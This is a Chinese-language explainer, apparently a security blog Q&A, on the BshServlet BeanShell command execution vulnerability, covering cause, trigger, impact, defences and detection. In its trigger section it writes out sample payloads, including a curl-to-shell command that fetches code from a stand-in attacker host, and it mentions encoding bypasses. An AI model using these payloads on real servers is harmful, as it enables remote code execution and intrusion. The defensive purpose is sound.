什么是BshServlet命令执行漏洞?

1 人参与

在 Java Web 生态里,bsh.servlet.BshServlet 本是 BeanShell 的脚本入口,原本用于提供在线调试环境。但如果服务器未对其访问路径做严格限制,攻击者即可通过特制的 HTTP 参数注入任意脚本,从而实现系统命令执行,这便是业界常称的 BshServlet 命令执行漏洞

什么是BshServlet命令执行漏洞?

原理解析

BeanShell 解释器能够在运行时解析并执行类似 Java 语法的脚本代码。BshServlet 在收到请求后,会把参数 bsh.script 的内容交给解释器处理。若未对输入做过滤或沙箱化,任意字符串都会被当作代码执行,进而调用 Runtime.exec 等底层 API,直接在宿主机器上跑系统命令。

漏洞触发方式

典型的攻击请求往往采用 POST 方式,将 bsh.script 设为 exec("whoami") 或者更复杂的 Runtime.getRuntime().exec("curl http://attacker.com/payload|sh")。在部分实现中,攻击者甚至可以通过 URL 编码或空字符(%00)绕过简单的字符串匹配,直接把 eval 代码注入。

实际危害

一旦成功执行,攻击者可以读取系统文件、植入后门、横向渗透内部网络,甚至在云环境中获取根权限。公开的案例中,某企业内部 OA 系统被利用执行 net user,瞬间泄露数百名员工的账号信息;另一起事件中,攻击者通过该漏洞在服务器上部署矿机,导致 CPU 负载飙升、业务不可用。

防御要点

  • 在生产环境彻底删除或禁用 /weaver/bsh.servlet.BshServlet 路径。
  • 若业务必须保留,务必在 Web 容器层面加入白名单,仅允许内部 IP 访问。
  • bsh.script 参数实施严格的正则过滤,禁止出现 execRuntime 等关键字。
  • 启用安全审计日志,捕获异常的脚本执行请求,以便快速响应。

检测建议

安全团队可以利用漏洞扫描器发送带有 bsh.script=whoami 的测试请求,观察响应中是否返回系统用户名;亦可在 WAF 规则中加入对 bsh.servlet 路径的异常流量监控。结合日志分析,若出现大量 Runtime.exec 调用的堆栈,则需立即隔离受影响主机。

参与讨论

1 条评论
  • 糖果小熊

    这种漏洞居然能直接执行系统命令,太危险了吧

    回复